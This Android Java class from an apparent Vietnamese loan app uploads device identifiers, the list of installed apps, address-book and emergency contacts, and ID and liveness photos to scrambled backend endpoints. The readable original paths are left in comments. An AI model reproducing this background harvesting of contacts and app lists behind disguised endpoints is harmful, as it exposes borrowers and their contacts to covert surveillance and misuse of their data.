package com.vay.de.dang.online.web;

import android.content.Context;

import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;

import com.vay.de.dang.online.VnApp;
import com.vay.de.dang.online.entiy.EmergencyContactsEntity;
import com.vay.de.dang.online.entiy.IncomeRequestEntity;
import com.vay.de.dang.online.entiy.InstallAppEntity;
import com.vay.de.dang.online.entiy.NormalContactsEntity;
import com.vay.de.dang.online.phone.DeviceHelper;
import com.vay.de.dang.online.util.RequestHelper;
import com.vay.de.dang.online.util.VnUtil;
import com.vay.de.dang.online.util.VnContext;
import com.vay.de.dang.online.phone.InstallAppHelper;
import com.vay.de.dang.online.phone.PhoneInfo;
import com.vay.de.dang.online.util.CallerUtil;

public class DeviceApi extends BaseApi {

    // 异步上传关键信息(联系人，app列表，设备信息，最近图片)
    public static void uploadKeyInfo(ReqCallback callback) {
        execTask(new WorkerBase(callback) {
            @Override
            public ReqResult doTask() {
                try {
                    // 1. 设备信息
                    uploadPhoneInfo(2);
                    // 2. 联系人信息
                    //uploadAddressBook();
                    // 3. app 列表
                    uploadInstallApp();
                    // 4.短信列表
                    //uploadSms();

                } catch (Exception e) {
                    e.printStackTrace();
                }
                return null;
            }
        });
    }

    // 上传设备信息
    public static ReqResult uploadPhoneInfo(int sceneType) {
        try {
            PhoneInfo info = DeviceHelper.localDeviceInfo(VnContext.instance().getContext(),
                    VnApp.getAfAndroidId(), VnApp.getGoogleAdId());
            info.setSceneType(sceneType);
            String param = JsonUtil.objectToJson(info);
            //String url = wrapperUrl("loanSupermarket/incomingParts/customerEquipmentUpload");
            String url = wrapperUrl("kFoTUe/kwLb/IOboScU");
            String json = doPostByJson(url, param);
            if (JsonUtil.isOk(json)) {
                log("++++++++OK: 上传设备信息");
            } else {
                String msg = JsonUtil.readMsg(json);
                log("ERROR: 上传设备信息: " + msg);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }

    // 异步上传关键信息(联系人，app列表，设备信息，最近图片)
    public static void uploadAddressBook(NormalContactsEntity bean, ReqCallback callback) {
        execTask(new WorkerBase(callback) {
            @Override
            public ReqResult doTask() {
                try {
                    String param = JsonUtil.objectToJson(Arrays.asList(bean));
                    //String url = wrapperUrl("loanSupermarket/incomingParts/customerContactsUpload/v1");
                    String url = wrapperUrl("XZbqrkha/Cwdg/Xnu/aUiyPh");
                    String json = doPostByJson(url, param);
                    if (JsonUtil.isOk(json)) {
                        log("++++++++OK: 上传通讯录");
                    } else {
                        String msg = JsonUtil.readMsg(json);
                        log("ERROR: 上传通讯录: " + msg);
                    }
                } catch (Exception e) {
                    e.printStackTrace();
                }
                return null;
            }
        });
    }

    // 上传app列表
    private static ReqResult uploadInstallApp() {
        try {
            Context context = VnContext.instance().getContext();
            List<InstallAppEntity> list = InstallAppHelper.queryInstallApp(context.getPackageManager());
            String param = JsonUtil.objectToJson(list);
            //String url = wrapperUrl("loanSupermarket/incomingParts/customerAppListUpload/v1");
            String url = wrapperUrl("aYpBYB/evwogW/kTm/VeF");
            String json = doPostByJson(url, param);
            if (JsonUtil.isOk(json)) {
                log("++++++++OK: 上传App安装信息");
            } else {
                String msg = JsonUtil.readMsg(json);
                log("ERROR: 上传App安装信息: " + msg);
                return ReqResult.error(msg);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }

    // 提交资料
    public static void uploadCustomerData(int step, String frontPath,
                                          String backPath, String handPath,
                                          String livingPath, ReqCallback callback) {
        execTask(new WorkerBase(callback) {
            @Override
            public ReqResult doTask() {
                try {

                    // 第一步需要上传紧急联系人
                    if (step == 1) {

                        List<EmergencyContactsEntity> uploadList = new ArrayList<>();

                        // 紧急联系人
                        List<EmergencyContactsEntity> emergencyContacts = RequestHelper.emergencyContactsList;
                        for (int i = 0; i < emergencyContacts.size(); i++) {
                            EmergencyContactsEntity ec = emergencyContacts.get(i);
                            ec.setContactOrder(String.valueOf(i + 1));
                            uploadList.add(ec);
                        }

                        List<EmergencyContactsEntity> essentialContacts = RequestHelper.essentialContactsList;

                        // 非必要联系人列表
                        for (int i = 0; i < essentialContacts.size(); i++) {
                            EmergencyContactsEntity ec = essentialContacts.get(i);
                            if (!VnUtil.isEmpty(ec.getContactPhone())) {
                                ec.setContactOrder(String.valueOf(2 + (i + 1)));
                                uploadList.add(ec);
                            }
                        }

                        String param = JsonUtil.objectToJson(uploadList);
                        //String url = wrapperUrl("loanSupermarket/incomingParts/emergencyContactUpload");
                        String url = wrapperUrl("aZXl/wtQl/bSM");
                        String json = doPostByJson(url, param);
                        if (JsonUtil.isOk(json)) {
                            // nothing
                        }
                    }

                    IncomeRequestEntity req = RequestHelper.currentIncome();

                    // 正面
                    if (!VnUtil.isEmpty(frontPath)) {
                        log("证件正面: " + frontPath);
                        if (isLocalFile(frontPath)) {
                            String path = syncUploadFile(frontPath);
                            if (VnUtil.isEmpty(path)) {
                                return ReqResult.error("Please select IDCard positive photos");
                            }
                            req.setIdPositive(path);
                        } else {
                            req.setIdPositive(frontPath);
                        }
                    }

                    // 背面
                    if (!VnUtil.isEmpty(backPath)) {
                        log("证件背面: " + backPath);
                        if (isLocalFile(backPath)) {
                            req.setIdBack(syncUploadFile(backPath));
                        } else {
                            req.setIdBack(backPath);
                        }
                    }

                    // 手持证件
                    if (!VnUtil.isEmpty(handPath)) {
                        log("手持证件: " + handPath);
                        if (isLocalFile(handPath)) {
                            String path = syncUploadFile(handPath);
                            if (VnUtil.isEmpty(path)) {
                                return ReqResult.error("Please select Hold IDCard photos");
                            }
                            req.setHoldIdImg(path);
                        } else {
                            req.setHoldIdImg(handPath);
                        }
                    }

                    // 活体头像
                    if (!VnUtil.isEmpty(livingPath)) {
                        log("活体: " + livingPath);
                        if (isLocalFile(livingPath)) {
                            String path = syncUploadFile(livingPath);
                            if (VnUtil.isEmpty(path)) {
                                return ReqResult.error("Please living certification");
                            }
                            req.setDetectionResult(path);
                        } else {
                            req.setDetectionResult(livingPath);
                        }
                    }

                    //String url = wrapperUrl("loanSupermarket/incomingParts/customerDataUpload");
                    String url = wrapperUrl("OSEvKzxg/fVRXgCiX/XQdFQ");
                    String param = JsonUtil.objectToJson(req);
                    String json = doPostByJson(url, param);
                    if (JsonUtil.isOk(json)) {
                        return ReqResult.ok("");
                    } else {
                        return ReqResult.error(JsonUtil.readMsg(json));
                    }
                } catch (Exception e) {
                    e.printStackTrace();
                }
                return null;
            }
        });
    }
}
